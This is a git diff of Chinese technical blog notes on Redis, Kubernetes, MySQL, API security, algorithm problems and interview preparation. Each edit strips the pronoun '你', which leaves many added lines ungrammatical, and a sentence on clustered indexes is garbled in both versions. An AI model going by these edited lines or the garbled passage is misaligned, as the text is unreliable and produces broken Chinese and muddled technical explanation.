+数字版权和所有权: 在不透露具体内容的情况下，证明拥有某项内容的合法权益。 审计和合规: 公司或个人可以证明他们遵守了某些规定或标准，而不必公开所有的审计信息。 > 描述如何使用Go实现JWT（JSON Web Tokens）验证。 @@ -432,7 +432,7 @@ JWT还可以包含服务的角色和权限，以实现细粒度的访问控制 不应该直接公开数据库或其他关键内部服务。 只有经过身份验证和授权的服务应该能够访问这些资源。 -> 你如何设计一个安全的RESTful API？考虑身份验证、授权、数据完整性等方面 +> 如何设计一个安全的RESTful API？考虑身份验证、授权、数据完整性等方面 使用HTTPS：确保所有API通信都是加密的。使用TLS/SSL来加密服务器和客户端之间的所有数据，防止中间人攻击和数据泄露。 @@ -462,9 +462,9 @@ JWT还可以包含服务的角色和权限，以实现细粒度的访问控制 日志和监控： 记录所有API的访问记录，包括访问者、时间、请求的内容等。 使用监控工具和报警机制，当检测到异常或可疑活动时立即发送通知。 -跨域资源共享（CORS）策略：如果你的API需要被跨域访问，确保配置正确的CORS策略，只允许受信任的域名进行跨域请求。 +跨域资源共享（CORS）策略：如果的API需要被跨域访问，确保配置正确的CORS策略，只允许受信任的域名进行跨域请求。 -API版本管理：为API提供版本，这样当你需要进行破坏性更改时，不会影响到旧版本的客户端。 +API版本管理：为API提供版本，这样当需要进行破坏性更改时，不会影响到旧版本的客户端。 定期审查和更新：定期对API进行安全审查，确保随着新的安全威胁的出现，API的安全措施得到及时的更新。 diff --git a/_posts/2023-11-8-test-markdown.md b/_posts/2023-11-8-test-markdown.md index b1b812d9bd1d..423e8a48cba6 100644 --- a/_posts/2023-11-8-test-markdown.md +++ b/_posts/2023-11-8-test-markdown.md @@ -19,9 +19,9 @@ comments: true 在Redis中，字符串（String）类型不仅可以用来存储文本或二进制数据，还可以用来存储数字。这使得字符串可以用作简单的计数器。 -当你使用INCR命令时，Redis会尝试将存储在指定键（key）下的字符串值解释为整数，然后将其增加1。如果该键不存在，Redis会初始化它为0，然后执行增加操作。 +当使用INCR命令时，Redis会尝试将存储在指定键（key）下的字符串值解释为整数，然后将其增加1。如果该键不存在，Redis会初始化它为0，然后执行增加操作。 -例如，假设你有一个网站，你想跟踪某个页面的访问次数。你可以使用以下Redis命令： +例如，假设有一个网站，想跟踪某个页面的访问次数。可以使用以下Redis命令： 初始设置（可选）： @@ -43,7 +43,7 @@ INCR page_view_count GET page_view_count ``` -这样，你就用一个简单的字符串键值对和INCR命令实现了一个简单但有效的页面访问计数器。同样，你也可以使用DECR命令来减少计数值，或者使用INCRBY和DECRBY来增加或减少指定的数值。 +这样，就用一个简单的字符串键值对和INCR命令实现了一个简单但有效的页面访问计数器。同样，也可以使用DECR命令来减少计数值，或者使用INCRBY和DECRBY来增加或减少指定的数值。 列表（List）: Redis的列表是由字符串组成的有序集合，支持在两端进行添加或删除操作。这种数据结构适用于实现队列、堆栈等。 @@ -62,7 +62,7 @@ GET page_view_count 对象存储: 将对象的各个字段存储为哈希的键值对。 配置: 存储应用或用户的配置信息。 -位图（Bitmaps）: 通过使用字符串作为底层结构，位图允许你设置和清除单个或多个位。这对于统计和其他需要大量布尔标志的应用非常有用。 +位图（Bitmaps）: 通过使用字符串作为底层结构，位图允许设置和清除单个或多个位。这对于统计和其他需要大量布尔标志的应用非常有用。 HyperLogLogs: 这是一种概率数据结构，用于估算集合的基数（不重复元素的数量）。 唯一计数: 例如，统计网站的独立访客数量。 @@ -89,7 +89,7 @@ HGETALL user:1 ``` > 如何使用Redis的列表（List）来实现一个队列？ -在Redis中，列表（List）数据结构可以用来实现一个简单的队列。你可以使用LPUSH命令将一个或多个元素添加到队列（列表）的头部，然后使用RPOP命令从队列（列表）的尾部移除并获取一个元素。这样，你就实现了一个先进先出（FIFO）的队列。 +在Redis中，列表（List）数据结构可以用来实现一个简单的队列。可以使用LPUSH命令将一个或多个元素添加到队列（列表）的头部，然后使用RPOP命令从队列（列表）的尾部移除并获取一个元素。这样，就实现了一个先进先出（FIFO）的队列。 下面是一些基本的Redis命令，用于实现队列操作： @@ -155,7 +155,7 @@ Redis的有序集合（Sorted Set） ### 应用场景问题 -> 假设你需要设计一个排行榜系统，你会如何利用Redis的数据结构来实现？ +> 假设需要设计一个排行榜系统，会如何利用Redis的数据结构来实现？ 有序集合（Sorted Set）: 我们可以使用有序集合来存储排行榜数据。在这个有序集合中，每个成员（member）代表一个参与排名的对象（例如，用户ID），而每个成员对应的分数（score）则代表该对象的排名依据（例如，用户积分）。 @@ -196,11 +196,11 @@ ZINCRBY leaderboard 10 user1 高级功能 分页: 通过ZRANGE或ZREVRANGE与LIMIT和OFFSET参数，可以实现排行榜的分页显示。 -实时更新: 由于Redis的高性能，你可以轻易地在用户产生新的分数后实时更新排行榜。 +实时更新: 由于Redis的高性能，可以轻易地在用户产生新的分数后实时更新排行榜。 数据持久化: 虽然Redis主要是一个内存数据库，但它也提供了多种数据持久化选项，以防数据丢失。 -通过综合运用这些操作和特性，你可以构建一个功能丰富、响应迅速的排行榜系统。 +通过综合运用这些操作和特性，可以构建一个功能丰富、响应迅速的排行榜系统。 > 如何使用Redis的数据结构来实现一个缓存失效策略（比如LRU）？ @@ -233,13 +233,13 @@ ZREM access_times ```shell ZADD access_times key ``` -通过这种方式，你可以使用Redis的数据结构来手动实现一个LRU缓存失效策略。这种方法更灵活，但需要手动管理缓存的添加、删除和更新 +通过这种方式，可以使用Redis的数据结构来手动实现一个LRU缓存失效策略。这种方法更灵活，但需要手动管理缓存的添加、删除和更新 -> 描述一个实际场景，你会使用Redis的哪种数据结构来解决问题，为什么？ +> 描述一个实际场景，会使用Redis的哪种数据结构来解决问题，为什么？ ### 编程练习 -如果你需要编写代码来解决某个问题，你会如何使用Redis的某个特定数据结构？请给出一个代码示例。 +如果需要编写代码来解决某个问题，会如何使用Redis的某个特定数据结构？请给出一个代码示例。 > 请编写一个简单的Go 脚本，使用Redis的列表数据结构来实现一个生产者-消费者队列。 @@ -453,12 +453,12 @@ func main() { 去重操作 集合（Set）：自动去重。 列表（List）：需要手动去重，通常需要O(N)的时间复杂度。 -如果你需要存储不重复的元素，那么使用集合会更高效。 +如果需要存储不重复的元素，那么使用集合会更高效。 成员检查 集合（Set）：O(1)时间复杂度。 列表（List）：O(N)时间复杂度。 -如果你需要频繁地检查某个元素是否存在，集合会提供更高的性能。 +如果需要频繁地检查某个元素是否存在，集合会提供更高的性能。 无序集合 集合（Set）：不保证元素的顺序。 @@ -468,12 +468,12 @@ func main() { 数据交集、并集、差集 集合（Set）：原生支持这些操作，通常是O(N)或更好。 列表（List）：需要手动实现，时间和空间复杂度都不理想。 -如果你需要进行这些集合操作，使用Redis的集合会更高效。 +如果需要进行这些集合操作，使用Redis的集合会更高效。 空间效率 集合（Set）：由于自动去重，通常更空间有效。 列表（List）：如果有重复元素，会浪费更多空间。 -如果空间是一个考虑因素，并且你的数据有很多重复项，那么集合可能是一个更好的选择。 +如果空间是一个考虑因素，并且的数据有很多重复项，那么集合可能是一个更好的选择。 @@ -497,7 +497,7 @@ func main() { 哈希（Hash） 适用场景：对象存储、缓存。 -优点：当你需要存储多个相关字段并且经常需要更新它们时，哈希是一个很好的选择。 +优点：当需要存储多个相关字段并且经常需要更新它们时，哈希是一个很好的选择。 Bitmaps 和 HyperLogLogs 适用场景：统计和去重。 @@ -561,10 +561,10 @@ Hash对象编码：当哈希对象（Hash Object）的大小小于hash-max-zipli 在Redis中如何实现这两者 -熔断：可以使用客户端库（如Hystrix、Resilience4J等）来实现熔断机制。这些库允许你定义触发熔断的条件（如失败次数、响应时间等）。 +熔断：可以使用客户端库（如Hystrix、Resilience4J等）来实现熔断机制。这些库允许定义触发熔断的条件（如失败次数、响应时间等）。 限流：Redis本身提供了一些用于限流的数据结构和算法，如漏桶算法和令牌桶算法，这些可以通过Redis的INCR、EXPIRE等命令来实现。 -请描述一个实际场景，你会如何设计一个Redis熔断机制？ +请描述一个实际场景，会如何设计一个Redis熔断机制？ > 实现限流的简单代码 @@ -633,7 +633,7 @@ func main() { for { err := hystrix.Do("my_command", func() error { - // 这里是你需要保护的代码 + // 这里是需要保护的代码 fmt.Println("Doing some work...") time.Sleep(20 * time.Millisecond) return nil @@ -650,7 +650,7 @@ func main() { ``` ### 应用场景问题 -> 如果Redis服务器因为某种原因变得不可用，你会如何设计熔断机制来保护应用？ +> 如果Redis服务器因为某种原因变得不可用，会如何设计熔断机制来保护应用？ 监控和指标 监控Redis服务器的可用性和性能指标（如延迟、错误率等）。 @@ -668,7 +668,7 @@ func main() { 半开：在一段时间后，允许部分请求通过以检测系统是否恢复正常。 降级策略 -当熔断器打开时，你需要有一个降级策略。这可能包括： +当熔断器打开时，需要有一个降级策略。这可能包括： 返回默认值。 从备份数据源获取数据。 将操作放入队列以便稍后处理。 @@ -681,7 +681,7 @@ func main() { 在熔断器打开一段时间后，自动转换到半开状态以检测系统是否已经恢复。 测试 -使用混沌工程的方法来测试你的熔断机制是否能在不同的故障场景下正常工作。 +使用混沌工程的方法来测试的熔断机制是否能在不同的故障场景下正常工作。 示例（使用Go和Hystrix） ```go package main diff --git a/_posts/2023-2-10-test-markdown.md b/_posts/2023-2-10-test-markdown.md index 0d7e1cfbb407..53f57011b670 100644 --- a/_posts/2023-2-10-test-markdown.md +++ b/_posts/2023-2-10-test-markdown.md @@ -287,7 +287,7 @@ Service #### 5.1 ClusterIP Services -这个是默认的服务类型。这意味着当你创建服务而不指定类型的时候，就会自动把集群 IP 作为类型。 +这个是默认的服务类型。这意味着当创建服务而不指定类型的时候，就会自动把集群 IP 作为类型。 假设： @@ -666,11 +666,11 @@ ReplicaSet 控制器可以控制 Pod 的可用数量始终保持在想要数量 ### StatefulSet -StatefulSet，是在Deployment的基础上扩展出来的控制器。使用Deployment时多数时候你不会在意Pod的调度方式。但当你需要调度有拓扑状态的应用时，就需要关心Pod的部署顺序、对应的持久化存储、 Pod 在集群内拥有固定的网络标识（即使重启或者重新调度后也不会变）这些文图，这个时候，就需要 StatefulSet 控制器实现调度目标。 +StatefulSet，是在Deployment的基础上扩展出来的控制器。使用Deployment时多数时候不会在意Pod的调度方式。但当需要调度有拓扑状态的应用时，就需要关心Pod的部署顺序、对应的持久化存储、 Pod 在集群内拥有固定的网络标识（即使重启或者重新调度后也不会变）这些文图，这个时候，就需要 StatefulSet 控制器实现调度目标。 -StatefulSet 是 Kubernetes 中的一种工作负载 API 对象，用于管理有状态应用。相比于 Deployment，StatefulSet 为每个 Pod 提供了一个持久且唯一的标识，这使得你可以在分布式或集群环境中部署和扩展有状态应用。 +StatefulSet 是 Kubernetes 中的一种工作负载 API 对象，用于管理有状态应用。相比于 Deployment，StatefulSet 为每个 Pod 提供了一个持久且唯一的标识，这使得可以在分布式或集群环境中部署和扩展有状态应用。 -例如，假设你正在运行一个分布式数据库，如 MongoDB 或 Cassandra，这些数据库需要在多个 Pod 之间同步数据。在这种情况下，每个 Pod 都需要有一个稳定的网络标识，以便其他 Pod 可以找到它并与之通信。此外，每个 Pod 可能还需要连接到一个持久的存储卷，以便在 Pod 重启或迁移时保留其数据。 +例如，假设正在运行一个分布式数据库，如 MongoDB 或 Cassandra，这些数据库需要在多个 Pod 之间同步数据。在这种情况下，每个 Pod 都需要有一个稳定的网络标识，以便其他 Pod 可以找到它并与之通信。此外，每个 Pod 可能还需要连接到一个持久的存储卷，以便在 Pod 重启或迁移时保留其数据。 以下是一个 StatefulSet 的 YAML 配置示例，用于部署一个简单的 MongoDB 集群： @@ -745,7 +745,7 @@ spec: ### ClusterIP Service -ClusterIP: 这是默认的 Service 类型。当你创建一个 Service 时，Kubernetes 会为该 Service 分配一个唯一的 IP 地址，这个地址在整个集群内部都可以访问。但是，这个 IP 地址**不能从集群外部访问**。这种类型的 Service 适合在集群内部进行通信，例如一个前端应用访问一个后端服务。 +ClusterIP: 这是默认的 Service 类型。当创建一个 Service 时，Kubernetes 会为该 Service 分配一个唯一的 IP 地址，这个地址在整个集群内部都可以访问。但是，这个 IP 地址**不能从集群外部访问**。这种类型的 Service 适合在集群内部进行通信，例如一个前端应用访问一个后端服务。 ### NodePort Service NodePort: 这种类型的 Service 在 ClusterIP 的基础上增加了一层，除了在集群内部提供一个 IP 地址让集群内的 Pod 访问外，还在每个节点上开放一个端口（30000-32767），并将所有到这个端口的请求转发到该 Service。这样，即使 Service 后端的 Pod 在不同的节点上，外部的客户端也可以通过 `:` 的方式访问该 Service。这种类型的 Service 适合需要从集群外部访问的服务。 diff --git a/_posts/2023-2-3-test-markdown.md b/_posts/2023-2-3-test-markdown.md index 17b1eefa9eb5..437ad4c6a8cd 100644 --- a/_posts/2023-2-3-test-markdown.md +++ b/_posts/2023-2-3-test-markdown.md @@ -47,7 +47,7 @@ start 不是事务启动的时间。在执行到他们之后的第一个操作 I > 在可重复读隔离级别下，事务在启动的时候就“拍了个快照”。注意，这个快照是基于整库的。 -这时，你会说这看上去不太现实啊。如果一个库有 100G，那么我启动一个事务，MySQL 就要拷贝 100G 的数据出来，这个过程得多慢啊。可是，我平时的事务执行起来很快啊。 +这时，会说这看上去不太现实啊。如果一个库有 100G，那么我启动一个事务，MySQL 就要拷贝 100G 的数据出来，这个过程得多慢啊。可是，我平时的事务执行起来很快啊。 实际上，我们并不需要拷贝出这 100G 的数据。我们先来看看这个快照是怎么实现的。 @@ -88,4 +88,4 @@ InnoDB 利用所有的数据都有多个版本，实现了秒级创建快照的 - 可重复读：解决了不可重复读问题，但是造成幻读问题 什么时候需要“可重复读”的场景呢？ -数据校对的场景：判断上个月的余额和当前余额的差额，是否与本月的账单明细一致。你一定希望在校对过程中，即使有用户发生了一笔新的交易，也不影响你的校对结果。 +数据校对的场景：判断上个月的余额和当前余额的差额，是否与本月的账单明细一致。一定希望在校对过程中，即使有用户发生了一笔新的交易，也不影响的校对结果。 diff --git a/_posts/2023-2-4-test-markdown.md b/_posts/2023-2-4-test-markdown.md index dbe93db6657c..985a9eafe2f0 100644 --- a/_posts/2023-2-4-test-markdown.md +++ b/_posts/2023-2-4-test-markdown.md @@ -154,7 +154,7 @@ mysql> select count(*) from tradelog where month(t_modified)=7; 对索引字段做函数操作，可能会破坏索引值的有序性，因此优化器就决定放弃走树搜索功能,优化器可以选择遍历主键索引，也可以选择遍历索引 t_modified，优化器对比索引大小后发现，索引 t_modified 更小，遍历这个索引比遍历主键索引来得更快。因此最终还是会选择索引 t_modified。 -对于 `select * from tradelog where id + 1 = 10000`这个 SQL 语句，这个加 1 操作并不会改变有序性，但是 MySQL 优化器还是不能用 id 索引快速定位到 9999 这一行。所以，需要你在写 SQL 语句的时候，手动改写成 where id = 10000 -1 才可以。 +对于 `select * from tradelog where id + 1 = 10000`这个 SQL 语句，这个加 1 操作并不会改变有序性，但是 MySQL 优化器还是不能用 id 索引快速定位到 9999 这一行。所以，需要在写 SQL 语句的时候，手动改写成 where id = 10000 -1 才可以。 ### 隐式类型转化 @@ -248,7 +248,7 @@ show processlist; select * from information_schema.innodb_trx \G ``` -information_schema.innodb_trx 查询事务状态.trx_mysql_thread_id=4，表示 id=4 的线程还处在事务中。因此，如果是连接数过多，你可以优先断开事务外空闲太久的连接；如果这样还不够，再考虑断开事务内空闲太久的连接。 +information_schema.innodb_trx 查询事务状态.trx_mysql_thread_id=4，表示 id=4 的线程还处在事务中。因此，如果是连接数过多，可以优先断开事务外空闲太久的连接；如果这样还不够，再考虑断开事务内空闲太久的连接。 #### 慢查询的问题 @@ -260,7 +260,7 @@ MySQL 选错了索引。 语句错误（语句重写）： -比如，语句被错误地写成了 `select * from t where id + 1 = 10000`，你可以通过下面的方式，增加一个语句改写规则。 +比如，语句被错误地写成了 `select * from t where id + 1 = 10000`，可以通过下面的方式，增加一个语句改写规则。 ```sql mysql> insert into query_rewrite.rewrite_rules(pattern, replacement, pattern_database) values ("select * from t where id + 1 = ?", "select * from t where id = ? - 1", "db1"); diff --git a/_posts/2023-4-10-test-markdown.md b/_posts/2023-4-10-test-markdown.md index 712c2691dde2..34c63f6bc1fa 100644 --- a/_posts/2023-4-10-test-markdown.md +++ b/_posts/2023-4-10-test-markdown.md @@ -116,7 +116,7 @@ func search(nums []int, target int) int { > 查找条件需要访问元素的直接右邻居 > 使用元素的右邻居来确定是否满足条件，并决定是向左还是向右。 > 保证查找空间在每一步中至少有 2 个元素。 -> 需要进行后处理。 当你剩下 1 个元素时，循环 / 递归结束。 需要评估剩余元素是否符合条件。 +> 需要进行后处理。 当剩下 1 个元素时，循环 / 递归结束。 需要评估剩余元素是否符合条件。 > 初始条件：left = 0, right = length > 终止：left == right > right = mid @@ -127,8 +127,8 @@ func search(nums []int, target int) int { ``` > 第一个错误的版本 -> 你是产品经理，目前正在带领一个团队开发新的产品。不幸的是，你的产品的最新版本没有通过质量检测。由于每个版本都是基于之前的版本开发的，所以错误的版本之后的所有版本都是错的。 -> 假设你有 n 个版本 [1, 2, ..., n]，你想找出导致之后所有版本出错的第一个错误的版本。你可以通过调用  bool isBadVersion(version)  接口来判断版本号 version 是否在单元测试中出错。实现一个函数来查找第一个错误的版本。你应该尽量减少对调用 API 的次数。 +> 是产品经理，目前正在带领一个团队开发新的产品。不幸的是，的产品的最新版本没有通过质量检测。由于每个版本都是基于之前的版本开发的，所以错误的版本之后的所有版本都是错的。 +> 假设有 n 个版本 [1, 2, ..., n]，想找出导致之后所有版本出错的第一个错误的版本。可以通过调用  bool isBadVersion(version)  接口来判断版本号 version 是否在单元测试中出错。实现一个函数来查找第一个错误的版本。应该尽量减少对调用 API 的次数。 ```go /** @@ -165,7 +165,7 @@ func firstBadVersion(n int) int { } ``` -> 峰值元素是指其值严格大于左右相邻值的元素。给你一个整数数组  nums，找到峰值元素并返回其索引。数组可能包含多个峰值，在这种情况下，返回 任何一个峰值 所在位置即可。你可以假设  nums[-1] = nums[n] = -∞ .你必须实现时间复杂度为 O(log n) 的算法来解决此问题。 +> 峰值元素是指其值严格大于左右相邻值的元素。给一个整数数组  nums，找到峰值元素并返回其索引。数组可能包含多个峰值，在这种情况下，返回 任何一个峰值 所在位置即可。可以假设  nums[-1] = nums[n] = -∞ .必须实现时间复杂度为 O(log n) 的算法来解决此问题。 > 存在的问题是：-1 0 1 2 3 4 5 6 如果数组是这个样子，那么肯定不行。但是题目说明 nums[-1] = nums[n] = -∞ 说明是山丘形。 @@ -571,7 +571,7 @@ func sliceCpoy(piles []int) []int{ } ``` -> 300. 最长递增子序列.给你一个整数数组 nums ，找到其中最长严格递增子序列的长度。子序列 是由数组派生而来的序列，删除（或不删除）数组中的元素而不改变其余元素的顺序。例如，[3,6,2,7] 是数组 [0,3,1,6,2,2,7] 的子序列。 +> 300. 最长递增子序列.给一个整数数组 nums ，找到其中最长严格递增子序列的长度。子序列 是由数组派生而来的序列，删除（或不删除）数组中的元素而不改变其余元素的顺序。例如，[3,6,2,7] 是数组 [0,3,1,6,2,2,7] 的子序列。 > 动态规划/因为二分法不是很理解....(等待二分法的补充) @@ -650,7 +650,7 @@ func max(a int , b int) int{ ``` -> 475. 供暖器冬季已经来临。 你的任务是设计一个有固定加热半径的供暖器向所有房屋供暖。在加热器的加热半径范围内的每个房屋都可以获得供暖。现在，给出位于一条水平线上的房屋 houses 和供暖器 heaters 的位置，请你找出并返回可以覆盖所有房屋的最小加热半径。说明：所有供暖器都遵循你的半径标准，加热的半径也一样。 +> 475. 供暖器冬季已经来临。 的任务是设计一个有固定加热半径的供暖器向所有房屋供暖。在加热器的加热半径范围内的每个房屋都可以获得供暖。现在，给出位于一条水平线上的房屋 houses 和供暖器 heaters 的位置，请找出并返回可以覆盖所有房屋的最小加热半径。说明：所有供暖器都遵循的半径标准，加热的半径也一样。 ```go diff --git a/_posts/2023-4-11-test-markdown.md b/_posts/2023-4-11-test-markdown.md index 068bfeb4d4b8..8d89eea129f6 100644 --- a/_posts/2023-4-11-test-markdown.md +++ b/_posts/2023-4-11-test-markdown.md @@ -34,21 +34,21 @@ comments: true > 面试官您好：我叫 XX，来自 XX 学校 XX 学院，目前 XX 再读，预计 XX 毕业，研究方向是 XX，去年在 XX 公司 XX 团队实现 XX，这个部门主要负责 XX，我在其中负责 XX 工作，包括 XX，此外还输出 XX，为部门整理新人手册。最后我有写博客的习惯，定期归纳总结自己的学习笔记，我也有开源经历.....以上就是我的个人介绍。 -> 简历里的项目经历、实习经历最有可能被面试官作为第一个问题，比如“从现在看来，你觉得这个工作还可以怎么改进？”“你觉得这些工作中最难的一点是什么？你是怎么解决的？”针对这些问题，应该提前准备。可以参考：https://imageslr.com/2021/autumn-recruit.html#common-question +> 简历里的项目经历、实习经历最有可能被面试官作为第一个问题，比如“从现在看来，觉得这个工作还可以怎么改进？”“觉得这些工作中最难的一点是什么？是怎么解决的？”针对这些问题，应该提前准备。可以参考：https://imageslr.com/2021/autumn-recruit.html#common-question ### 3.综合面试问题 - 实习期间的工作内容，介绍一下？ -- 简单介绍一下你这个项目的内容？你觉得它的亮点 / 难点有哪些？ +- 简单介绍一下这个项目的内容？觉得它的亮点 / 难点有哪些？ - 实习期间遇到最大的挑战是什么？如何解决？ -- 实习期间给你带来最大成长的工作是什么？ -- 从现在看来，你觉得这个工作还可以怎么改进？ -- 你觉得这些工作中最难的一点是什么？你是怎么解决的？ +- 实习期间给带来最大成长的工作是什么？ +- 从现在看来，觉得这个工作还可以怎么改进？ +- 觉得这些工作中最难的一点是什么？是怎么解决的？ - 实习期间有哪些工作以外的对团队的贡献？ - 自己平时分析过源码吗？ -- 你是怎么学习新技术的？ +- 是怎么学习新技术的？ - 最近在学哪些新技术 / 在看哪些书？ -- 你的长期职业规划是什么？1 ～ 3 年的规划是什么？ +- 的长期职业规划是什么？1 ～ 3 年的规划是什么？ ### 4. 反问 @@ -79,7 +79,7 @@ comments: true 阿里: 面试流程：统一在线笔试。2 轮技术面 + 1 轮经理面 + 1 轮交叉面 + 1 轮 HR 面，每轮都是电话面试，时长 1 小时左右。一面面试官是未来的 leader，之后的面试官应该级别更高。一二面考察基础知识，三四面主要围绕项目和实习经历展开。 -反馈周期：通过后会很快约下一轮面试，可以向你的内推人 / 师兄咨询面试结果；每轮面试间隔 2 天～ 1 周；Offer 统一在 9 月发出。 +反馈周期：通过后会很快约下一轮面试，可以向的内推人 / 师兄咨询面试结果；每轮面试间隔 2 天～ 1 周；Offer 统一在 9 月发出。 评价：由于是电话面试 + 已经笔试过，所以面试时不再考察算法。这导致面试题的覆盖面广、题量大、问得细，难度总体较高。HR 面体验很好，给我提了中肯的建议。 ``` @@ -90,7 +90,7 @@ comments: true 反馈周期：一面完可能紧接着就是二面。1～2 天约下一轮面试。HR 会加微信。 -评价：不同部门的面试官水平差异极大。如果一个月还没给你一个明确的答复，大概率是被泡池子了，可以考虑终止流程，重新投递另一个部门。 +评价：不同部门的面试官水平差异极大。如果一个月还没给一个明确的答复，大概率是被泡池子了，可以考虑终止流程，重新投递另一个部门。 ``` ```text diff --git a/_posts/2023-4-17-test-markdown.md b/_posts/2023-4-17-test-markdown.md index fd332943fd6c..96dfacd57411 100644 --- a/_posts/2023-4-17-test-markdown.md +++ b/_posts/2023-4-17-test-markdown.md @@ -548,7 +548,7 @@ distance(1, 2) + distance(1, 3) + distance(1, 4) + distance(1, 5) + distance(1, 4 5 6 / \ 7 8 - 请你向这样画图让我理解 + 请向这样画图让我理解 nodeNum[root] += nodeNum[v] + 1 distSum[root] += distSum[v] + nodeNum[v] + 1 @@ -707,7 +707,7 @@ func DFS(root int ,father int){ nodeNum[root] += nodeNum[v] + 1 distSum[root] += distSum[v] + nodeNum[v] + 1 - 请你列出每个点对应的nodeNum和distSum + 请列出每个点对应的nodeNum和distSum // 1 0 // 2 1 // 3 1 @@ -731,7 +731,7 @@ func DFS2(root int,father int){ } } -请你列出在DFS以及DFS2过程中nodeNum 以及 distSum +请列出在DFS以及DFS2过程中nodeNum 以及 distSum ``` ```text @@ -941,7 +941,7 @@ func abs( a int) int{ 省份 是一组直接或间接相连的城市，组内不含其他没有相连的城市。 -给你一个 n x n 的矩阵 isConnected ，其中 isConnected[i][j] = 1 表示第 i 个城市和第 j 个城市直接相连，而 isConnected[i][j] = 0 表示二者不直接相连。 +给一个 n x n 的矩阵 isConnected ，其中 isConnected[i][j] = 1 表示第 i 个城市和第 j 个城市直接相连，而 isConnected[i][j] = 0 表示二者不直接相连。 返回矩阵中 省份 的数量。/* diff --git a/_posts/2023-4-20-test-markdown.md b/_posts/2023-4-20-test-markdown.md index 80b76eb5bc29..ed44d44d1d98 100644 --- a/_posts/2023-4-20-test-markdown.md +++ b/_posts/2023-4-20-test-markdown.md @@ -821,7 +821,7 @@ type node struct{ #### 减枝 ```go -/*给你一个整数 n ，返回 和为 n 的完全平方数的最少数量 。 +/*给一个整数 n ，返回 和为 n 的完全平方数的最少数量 。 完全平方数 是一个整数，其值等于另一个整数的平方；换句话说，其值等于一个整数自乘的积。例如，1、4、9 和 16 都是完全平方数，而 3 和 11 不是。 @@ -882,7 +882,7 @@ func min(a int , b int) int{ ``` ```go -/*给你一个整数 n ，返回 和为 n 的完全平方数的最少数量 。 +/*给一个整数 n ，返回 和为 n 的完全平方数的最少数量 。 完全平方数 是一个整数，其值等于另一个整数的平方；换句话说，其值等于一个整数自乘的积。例如，1、4、9 和 16 都是完全平方数，而 3 和 11 不是。 diff --git a/_posts/2023-4-24-test-markdown.md b/_posts/2023-4-24-test-markdown.md index d7c6aa538def..783cd3835c3c 100644 --- a/_posts/2023-4-24-test-markdown.md +++ b/_posts/2023-4-24-test-markdown.md @@ -333,7 +333,7 @@ SOAP（Simple Object Access Protocol）是一种基于 XML 和 HTTP（或 SMTP 如果使用聚集索引，在存储数据时会按照索引顺序对数据行进行排序，并且每个叶子节点上存储了整个数据行的信息。这样，当我们通过这个索引查询数据时，数据库可以快速定位到对应的数据行，并直接返回给我们需要的结果。 -聚集索引（聚集索引）：以 innodb 作为存储引力的表，表中的数据都会有一个主键，即使你不创建主键，系统也会帮助你创建 db 个隐式是隐式的是误数据存放在 B+树中的，而 B+树的键值就是主键，在 B+树的叶节点中，存贮了表中所有的数据。这种以主键作 B+树引的键值而构造的 B+树，索式我们称之为聚集索引。 +聚集索引（聚集索引）：以 innodb 作为存储引力的表，表中的数据都会有一个主键，即使不创建主键，系统也会帮助创建 db 个隐式是隐式的是误数据存放在 B+树中的，而 B+树的键值就是主键，在 B+树的叶节点中，存贮了表中所有的数据。这种以主键作 B+树引的键值而构造的 B+树，索式我们称之为聚集索引。 #### 非聚集索引 diff --git a/_posts/2023-4-3-test-markdown.md b/_posts/2023-4-3-test-markdown.md index 7c0673b7add8..9fe06c0d9077 100644 --- a/_posts/2023-4-3-test-markdown.md +++ b/_posts/2023-4-3-test-markdown.md @@ -25,7 +25,7 @@ DP[i-1][j] 代表不选择i物品在容量为j的条件下可以得到的价值 ```go /*494. 目标和 -给你一个整数数组 nums 和一个整数 target 。 +给一个整数数组 nums 和一个整数 target 。 向数组中的每个整数前添加 '+' 或 '-' ，然后串联起所有整数，可以构造一个 表达式 ： @@ -183,9 +183,9 @@ DP[i-1][j-array[i]*4] + value[i] *4 代表选择i物品2个放入后得到的价 ```go /* 518. 零钱兑换 II -给你一个整数数组 coins 表示不同面额的硬币，另给一个整数 amount 表示总金额。 +给一个整数数组 coins 表示不同面额的硬币，另给一个整数 amount 表示总金额。 -请你计算并返回可以凑成总金额的硬币组合数。如果任何硬币组合都无法凑出总金额，返回 0 。 +请计算并返回可以凑成总金额的硬币组合数。如果任何硬币组合都无法凑出总金额，返回 0 。 假设每一种面额的硬币有无限个。 @@ -257,7 +257,7 @@ func change(amount int, coins []int) int { 给定三个整数 n ,  k 和 target ，返回可能的方式(从总共 kn 种方式中)滚动骰子的数量，使正面朝上的数字之和等于 target 。 -答案可能很大，你需要对 109 + 7 取模 。 +答案可能很大，需要对 109 + 7 取模 。 */ func numRollsToTarget(d int, f int, target int) int { @@ -369,7 +369,7 @@ dp[i][j] = max(dp[i-1][j]，dp[i][j-array[i]]+value[i]) ```go /* 1995. 统计特殊四元组 -给你一个 下标从 0 开始 的整数数组 nums ，返回满足下述条件的 不同 四元组 (a, b, c, d) 的 数目 ： +给一个 下标从 0 开始 的整数数组 nums ，返回满足下述条件的 不同 四元组 (a, b, c, d) 的 数目 ： nums[a] + nums[b] + nums[c] == nums[d] ，且 a < b < c < d @@ -434,7 +434,7 @@ func getMax(nums []int)int{ > 基础的模型是： > 特定的起点或者枚举的起点，有确定的移动方向，（转移方向）求解所有状态的最优值。 -如果给你移动规则，但是没有告诉你如何移动，那么这种问题可以理解为另外一种路径问题。 +如果给移动规则，但是没有告诉如何移动，那么这种问题可以理解为另外一种路径问题。 > 单纯的 DFS 由于是指数级别的复杂度，通常数据范围不出超过 30 > 实现 DFS 的步骤是： 1.设计递归函数的入参和出参数。 2.设计好递归函数的出口，BASE CASE 3.编写最小的处理单元 @@ -447,7 +447,7 @@ func getMax(nums []int)int{ 403. 青蛙过河 一只青蛙想要过河。 假定河流被等分为若干个单元格，并且在每一个单元格内都有可能放有一块石子（也有可能没有）。 青蛙可以跳上石子，但是不可以跳入水中。 -给你石子的位置列表 stones（用单元格序号 升序 表示）， 请判定青蛙能否成功过河（即能否在最后一步跳至最后一块石子上）。开始时， 青蛙默认已站在第一块石子上，并可以假定它第一步只能跳跃 1 个单位（即只能从单元格 1 跳至单元格 2 ）。 +给石子的位置列表 stones（用单元格序号 升序 表示）， 请判定青蛙能否成功过河（即能否在最后一步跳至最后一块石子上）。开始时， 青蛙默认已站在第一块石子上，并可以假定它第一步只能跳跃 1 个单位（即只能从单元格 1 跳至单元格 2 ）。 如果青蛙上一步跳跃了 k 个单位，那么它接下来的跳跃距离只能选择为 k - 1、k 或 k + 1 个单位。 另请注意，青蛙只能向前方（终点的方向）跳跃。 */ 